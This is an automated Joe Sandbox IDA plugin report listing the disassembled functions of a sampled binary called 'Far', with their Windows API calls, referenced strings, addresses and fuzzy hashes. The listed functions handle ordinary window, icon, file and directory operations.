Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID: @
API String ID: 3869813825-2766056989
Opcode ID: ef54e6aa7fbf63a5b84003f52682c04f9c9e60e0f74c38117c7fd597ce84d979
Instruction ID: a5a48671b3b48f7d092c4e6624c8fd1b26534f5ed7ba878ba7697ec01ca77231
Opcode Fuzzy Hash: ef54e6aa7fbf63a5b84003f52682c04f9c9e60e0f74c38117c7fd597ce84d979
Instruction Fuzzy Hash: BF819C32E09A46A6E700EFB5D8806AD73A5FB44F88FA04131CE4E97658EF78E845C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0E777C Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 475windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32 ref: 00007FF73D0E783B
SendMessageW.USER32 ref: 00007FF73D0E78BD

Strings

COLLAPSE, xrefs: 00007FF73D0E7945
GETSELECTED, xrefs: 00007FF73D0E7B03
UNCHECK, xrefs: 00007FF73D0E7CEA
CHECK, xrefs: 00007FF73D0E78E3
EXPAND, xrefs: 00007FF73D0E7A28
GETTOTALCOUNT, xrefs: 00007FF73D0E786D
EXISTS, xrefs: 00007FF73D0E79A7
GETITEMCOUNT, xrefs: 00007FF73D0E7A96
GETTEXT, xrefs: 00007FF73D0E7B6B
ISCHECKED, xrefs: 00007FF73D0E7BEC
SELECT, xrefs: 00007FF73D0E7C7F

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 10eb298b4592cfb12baa3cb5ee8bba3405a285e3e9f40fce0daf5dfb9c936b84
Instruction ID: 0c26d0cde2d8719f0d55de4852e09e99b61586236ca7885cac1f9f46a5a352f2
Opcode Fuzzy Hash: 10eb298b4592cfb12baa3cb5ee8bba3405a285e3e9f40fce0daf5dfb9c936b84
Instruction Fuzzy Hash: 9112A413B1CA1FA2EA50BBE598555BDE7A0AF98F84BD84531DA4D47781FF3CE401A320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0F1254 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 175windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32 ref: 00007FF73D0F133D
LoadLibraryExW.KERNEL32 ref: 00007FF73D0F13A8
LoadImageW.USER32 ref: 00007FF73D0F13EC
LoadImageW.USER32 ref: 00007FF73D0F1427
LoadImageW.USER32 ref: 00007FF73D0F146B
FreeLibrary.KERNEL32 ref: 00007FF73D0F1478
ExtractIconExW.SHELL32 ref: 00007FF73D0F148A
DestroyIcon.USER32 ref: 00007FF73D0F149C
SendMessageW.USER32 ref: 00007FF73D0F14BB
SendMessageW.USER32 ref: 00007FF73D0F14D3

Part of subcall function 00007FF73D0693B8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73D0693DF

Part of subcall function 00007FF73D0693B8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73D06947D

Strings

.exe, xrefs: 00007FF73D0F12CF
.icl, xrefs: 00007FF73D0F12AD
.dll, xrefs: 00007FF73D0F12F1

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend_invalid_parameter_noinfo$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 258715311-1154884017
Opcode ID: b0ccfcc92f280b140fde0429c7e4e05f2aa26ddc3da764aeec47c0d34a041b44
Instruction ID: d4d5a138c106b580f9d71a1d2a47e43a0fd729079482f5bec839c7485c0317da
Opcode Fuzzy Hash: b0ccfcc92f280b140fde0429c7e4e05f2aa26ddc3da764aeec47c0d34a041b44
Instruction Fuzzy Hash: 8671B432A0DA1692EB10EF61D484AF9A3A8FB84F98F940235DD5D47B94EF3CE444A310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0C1C54 Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 388COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF73D0C1F11
VariantClear.OLEAUT32 ref: 00007FF73D0C2003

Strings

Default, xrefs: 00007FF73D0C1D6D
%4d%02d%02d%02d%02d%02d, xrefs: 00007FF73D0C1DF4

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Variant$ClearInit
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 2610073882-3931177956
Opcode ID: f55ef38166279536615855d74dc03712ac2634a41312ef37b746dfbcbd42170c
Instruction ID: ad22a5c798b27a79a6168df80c9659a9b401ef5f5f3dd71c3d8c351c117a2ea4
Opcode Fuzzy Hash: f55ef38166279536615855d74dc03712ac2634a41312ef37b746dfbcbd42170c
Instruction Fuzzy Hash: 36026032E0D64AA1EA58BBE5C15427CB360EF45F40FC54135DB8E0BAA5EF2CE655E320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0EF52C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 177windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF73D0EF630
CreateWindowExW.USER32 ref: 00007FF73D0EF6DC
SendMessageW.USER32 ref: 00007FF73D0EF703
SendMessageW.USER32 ref: 00007FF73D0EF718
DestroyWindow.USER32 ref: 00007FF73D0EF73C
CreateWindowExW.USER32 ref: 00007FF73D0EF795
SendMessageW.USER32 ref: 00007FF73D0EF7B2
GetDesktopWindow.USER32 ref: 00007FF73D0EF7CE
GetWindowRect.USER32 ref: 00007FF73D0EF7DB
SendMessageW.USER32 ref: 00007FF73D0EF7F0
SendMessageW.USER32 ref: 00007FF73D0EF80E

Strings

tooltips_class32, xrefs: 00007FF73D0EF690, 00007FF73D0EF75F

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopRect
String ID: tooltips_class32
API String ID: 2443926738-1918224756
Opcode ID: 60c80d7da8a58668eef097a83da659a82be832d3322740a469600174eab4933e
Instruction ID: 19fab6d37ca18dca0d77dfbc0025bb76b1cda10a383e865e227dd21076cd712b
Opcode Fuzzy Hash: 60c80d7da8a58668eef097a83da659a82be832d3322740a469600174eab4933e
Instruction Fuzzy Hash: 9291AD32A19A4A96EB50DFA1E4847ADB7A1EB48F84F904036DE4D07B58EF3CD045D720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0C9CBC Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00007FF73D0C9DA2
SystemTimeToFileTime.KERNEL32 ref: 00007FF73D0C9DB4
LocalFileTimeToFileTime.KERNEL32 ref: 00007FF73D0C9DC8
wcscat.LIBCMT ref: 00007FF73D0C9E4C
wcscat.LIBCMT ref: 00007FF73D0C9E5D
GetCurrentDirectoryW.KERNEL32 ref: 00007FF73D0C9E6E
SetCurrentDirectoryW.KERNEL32 ref: 00007FF73D0C9E7B
SetCurrentDirectoryW.KERNEL32 ref: 00007FF73D0C9EB6
SetCurrentDirectoryW.KERNEL32 ref: 00007FF73D0C9F07
SetCurrentDirectoryW.KERNEL32 ref: 00007FF73D0C9F14
wcscpy.LIBCMT ref: 00007FF73D0C9F26

Strings

*.*, xrefs: 00007FF73D0C9F1A

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Localwcscat$Systemwcscpy
String ID: *.*
API String ID: 1111067124-438819550
Opcode ID: db2ba57503fb27234d7ffb5f89f86847e88a29d8eec6f19cc57009b6debdee2c
Instruction ID: aa679664bcdff7a9a85a54a52693d8e98efc31c81b33fc304837a27e10479383
Opcode Fuzzy Hash: db2ba57503fb27234d7ffb5f89f86847e88a29d8eec6f19cc57009b6debdee2c
Instruction Fuzzy Hash: EF71637261CB8AA1DB10EF51E8801EEA764FB94F84F805031EA8D47756EF3DE545D710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0D6080 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 151windowCOMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF73D0D610B
CreateCompatibleBitmap.GDI32 ref: 00007FF73D0D611F
CreateCompatibleDC.GDI32 ref: 00007FF73D0D612D
SelectObject.GDI32 ref: 00007FF73D0D613D
StretchBlt.GDI32 ref: 00007FF73D0D61B3
GetDIBits.GDI32 ref: 00007FF73D0D61FA
GetDIBits.GDI32 ref: 00007FF73D0D6233
SelectObject.GDI32 ref: 00007FF73D0D6242
DeleteObject.GDI32 ref: 00007FF73D0D624B
DeleteDC.GDI32 ref: 00007FF73D0D6254
ReleaseDC.USER32 ref: 00007FF73D0D625F

Strings

, xrefs: 00007FF73D0D617F

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID:
API String ID: 2598888154-3916222277
Opcode ID: b8d040fc371400c17cd5bc8c7163438f0cbb93eca908ae7607e2eac7ccb92523
Instruction ID: 7d089fcaa497e4029421b125acf748e132f0051cbccb1bd79f66abce9332f639
Opcode Fuzzy Hash: b8d040fc371400c17cd5bc8c7163438f0cbb93eca908ae7607e2eac7ccb92523
Instruction Fuzzy Hash: D6519837B09A44CBE750EFA5E440AAEB7B5F748B88F808136EE4953B18DF38D4158B10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0ABCAC Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 117memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32 ref: 00007FF73D0ABCE9
SafeArrayAllocData.OLEAUT32 ref: 00007FF73D0ABD4B
VariantInit.OLEAUT32 ref: 00007FF73D0ABD5D
SafeArrayAccessData.OLEAUT32 ref: 00007FF73D0ABD80
VariantCopy.OLEAUT32 ref: 00007FF73D0ABDEB
SafeArrayUnaccessData.OLEAUT32 ref: 00007FF73D0ABDFF
VariantClear.OLEAUT32 ref: 00007FF73D0ABE16
SafeArrayDestroyData.OLEAUT32 ref: 00007FF73D0ABE25
SafeArrayDestroyDescriptor.OLEAUT32 ref: 00007FF73D0ABE2F
VariantClear.OLEAUT32 ref: 00007FF73D0ABE42
SafeArrayDestroyDescriptor.OLEAUT32 ref: 00007FF73D0ABE4E

Strings

NULL Pointer assignment, xrefs: 00007FF73D0ABCBB

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID: NULL Pointer assignment
API String ID: 2706829360-2785691316
Opcode ID: e68dfdb4ab84dc8ad304d5d5bce64bf713bc48614246731dd5a92f425076369b
Instruction ID: d8b26f839084fcd3a236fbb4d625a525f086f1e7fe86dd38bd53453e84337a00
Opcode Fuzzy Hash: e68dfdb4ab84dc8ad304d5d5bce64bf713bc48614246731dd5a92f425076369b
Instruction Fuzzy Hash: 2C515332B29A569AEB00EFA1D8946FC6770FB84F88F805535DE0E47655EF38D449D320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0C9894 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 200COMMON

Download Yara Rule

APIs

wcscat.LIBCMT ref: 00007FF73D0C9A55
wcscat.LIBCMT ref: 00007FF73D0C9A66
GetCurrentDirectoryW.KERNEL32 ref: 00007FF73D0C9A77
SetCurrentDirectoryW.KERNEL32 ref: 00007FF73D0C9A84
GetFileAttributesW.KERNEL32 ref: 00007FF73D0C9AB5
SetFileAttributesW.KERNEL32 ref: 00007FF73D0C9ACB
SetCurrentDirectoryW.KERNEL32 ref: 00007FF73D0C9ADC
SetCurrentDirectoryW.KERNEL32 ref: 00007FF73D0C9B3E
wcscpy.LIBCMT ref: 00007FF73D0C9B50
SetCurrentDirectoryW.KERNEL32 ref: 00007FF73D0C9B8D

Strings

*.*, xrefs: 00007FF73D0C9B44

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: CurrentDirectory$AttributesFilewcscat$wcscpy
String ID: *.*
API String ID: 4125642244-438819550
Opcode ID: 61bd58f4eafb961aacc7a0631a5a312094d71a9a643225a92a9d3270af838a83
Instruction ID: e24c62cd41d51b0ac7af2b226e56b36a5f52ff975e565e487a6ab784cb67b101
Opcode Fuzzy Hash: 61bd58f4eafb961aacc7a0631a5a312094d71a9a643225a92a9d3270af838a83
Instruction Fuzzy Hash: 0681A26261CA8AA2EB10EF95E8406BDA360FB44F45FC00036DA8E4B795EF7CD545D760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D05DBEC Relevance: 18.2, APIs: 12, Instructions: 191timeCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF73D05DCC8
KillTimer.USER32 ref: 00007FF73D05DDA3
DestroyAcceleratorTable.USER32 ref: 00007FF73D0A224C

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Destroy$AcceleratorKillTableTimerWindow
String ID:
API String ID: 1974058525-0
Opcode ID: 69bc9f51e457715ae59f4123bd16653ccb2b9a1c7d1c421fcda1c13e3138082f
Instruction ID: 1ce57139adeb44e0dc4faa61a1533e292c898c6d8773320adaccb1d06d59b161
Opcode Fuzzy Hash: 69bc9f51e457715ae59f4123bd16653ccb2b9a1c7d1c421fcda1c13e3138082f
Instruction Fuzzy Hash: A1919E61A0E60BA1EB54AFA1E4906B8A365FF85F84FD44032CD0E47754EF7CE491A330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0B3C00 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF73D0B3C39
GetWindowRect.USER32 ref: 00007FF73D0B3C55
MoveWindow.USER32 ref: 00007FF73D0B3CD0
GetDlgItem.USER32 ref: 00007FF73D0B3CEB
GetWindowRect.USER32 ref: 00007FF73D0B3D00
MoveWindow.USER32 ref: 00007FF73D0B3D6A
GetDlgItem.USER32 ref: 00007FF73D0B3D7C
GetWindowRect.USER32 ref: 00007FF73D0B3D91
MoveWindow.USER32 ref: 00007FF73D0B3DE3
GetDlgItem.USER32 ref: 00007FF73D0B3DFB
MoveWindow.USER32 ref: 00007FF73D0B3E20
InvalidateRect.USER32 ref: 00007FF73D0B3E33

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 6341a5ffdee5fe6a8a4c3ddb1dfac698444aa59f5f702eedab95ea46bdb7f588
Instruction ID: 30298ac024ad99650d580be0b75ed6180756ddd143799e6dae5df7e9856892f9
Opcode Fuzzy Hash: 6341a5ffdee5fe6a8a4c3ddb1dfac698444aa59f5f702eedab95ea46bdb7f588
Instruction Fuzzy Hash: 70619272F086409BE714DFA5E4446ACB7A6F788B84F608139DE0993F58EF38D9058B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0C57D0 Relevance: 17.8, APIs: 3, Strings: 7, Instructions: 339COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32 ref: 00007FF73D0C585D
GetDriveTypeW.KERNEL32 ref: 00007FF73D0C5ACB
wcscpy.LIBCMT ref: 00007FF73D0C5B6F

Strings

unknown, xrefs: 00007FF73D0C5A57
network, xrefs: 00007FF73D0C59B4
fixed, xrefs: 00007FF73D0C5958
all, xrefs: 00007FF73D0C5868
removable, xrefs: 00007FF73D0C5912
cdrom, xrefs: 00007FF73D0C58BF
ramdisk, xrefs: 00007FF73D0C5A07

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: BuffCharDriveLowerTypewcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 1561581874-1000479233
Opcode ID: d2fb285c13596bd01e6ca34714d13bb4f14b155ce798f64b6bbf338610cc6c62
Instruction ID: 474a847e2303e1d5f0107a1537da9bc1337de590b453704116991100648b7cd1
Opcode Fuzzy Hash: d2fb285c13596bd01e6ca34714d13bb4f14b155ce798f64b6bbf338610cc6c62
Instruction Fuzzy Hash: F1D11326B0C65E61EA20ABD5D4841B9E3A0FB54FA4FC00231DADD5B7D4FF2CE945A720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D05DB04 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 163windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32 ref: 00007FF73D0A2146
ExtractIconExW.SHELL32 ref: 00007FF73D0A2167
LoadImageW.USER32 ref: 00007FF73D0A2185
ExtractIconExW.SHELL32 ref: 00007FF73D0A21A6
SendMessageW.USER32 ref: 00007FF73D0A21C9
DestroyIcon.USER32 ref: 00007FF73D0A21D8
SendMessageW.USER32 ref: 00007FF73D0A21FE
DestroyIcon.USER32 ref: 00007FF73D0A220D

Strings

P, xrefs: 00007FF73D0A216D

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID: P
API String ID: 1268354404-3110715001
Opcode ID: 0ea2176aeb22f7d7cbe06e39ec02f6ce2839a5622b48d8f95bdf6d02a57b5f4d
Instruction ID: c44b5920bc0946777ede55e58743327bc1167695ae7b7927a509c5ddaae8131b
Opcode Fuzzy Hash: 0ea2176aeb22f7d7cbe06e39ec02f6ce2839a5622b48d8f95bdf6d02a57b5f4d
Instruction Fuzzy Hash: B961A436A0C64AA6EF14EFA5D840679A752FF84F98F940536DE0D43754EF3CE440A720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0EBF4C Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 100windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D046CA0: CreateWindowExW.USER32 ref: 00007FF73D046D30
Part of subcall function 00007FF73D046CA0: GetStockObject.GDI32 ref: 00007FF73D046D4D
Part of subcall function 00007FF73D046CA0: SendMessageW.USER32 ref: 00007FF73D046D60

MoveWindow.USER32 ref: 00007FF73D0EC07B
CreateCompatibleDC.GDI32 ref: 00007FF73D0EC083
SendMessageW.USER32 ref: 00007FF73D0EC09A
SelectObject.GDI32 ref: 00007FF73D0EC0A6
GetPixel.GDI32 ref: 00007FF73D0EC0B4
DeleteDC.GDI32 ref: 00007FF73D0EC0BF
GetWindowLongW.USER32 ref: 00007FF73D0EC0CD
SetLayeredWindowAttributes.USER32 ref: 00007FF73D0EC0E7
DestroyWindow.USER32 ref: 00007FF73D0EC0F1

Strings

static, xrefs: 00007FF73D0EBF90

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Window$CreateMessageObjectSend$AttributesCompatibleDeleteDestroyLayeredLongMovePixelSelectStock
String ID: static
API String ID: 3821898125-2160076837
Opcode ID: 611fca2a1040de3c8ea3754848b261f525e769e147e96a1ef2273d583ffda5db
Instruction ID: f6e4e727bf7a85f0c4c09541e7fd79afb32cb9fadc149541dd3bb8b7fdd71081
Opcode Fuzzy Hash: 611fca2a1040de3c8ea3754848b261f525e769e147e96a1ef2273d583ffda5db
Instruction Fuzzy Hash: F341BE3260CB8586E7609F65E484B9EB3A1FB88B90F904235EA9C43B98DF3DD444DB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0D77E0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 182comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF73D0D7843
CoUninitialize.OLE32 ref: 00007FF73D0D784D
CoCreateInstance.OLE32 ref: 00007FF73D0D78BD
IIDFromString.OLE32 ref: 00007FF73D0D793C
VariantInit.OLEAUT32 ref: 00007FF73D0D79DB
VariantClear.OLEAUT32 ref: 00007FF73D0D7A2C

Strings

Failed to create object, xrefs: 00007FF73D0D78C7
NULL Pointer assignment, xrefs: 00007FF73D0D790A
Invalid parameter, xrefs: 00007FF73D0D7954

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
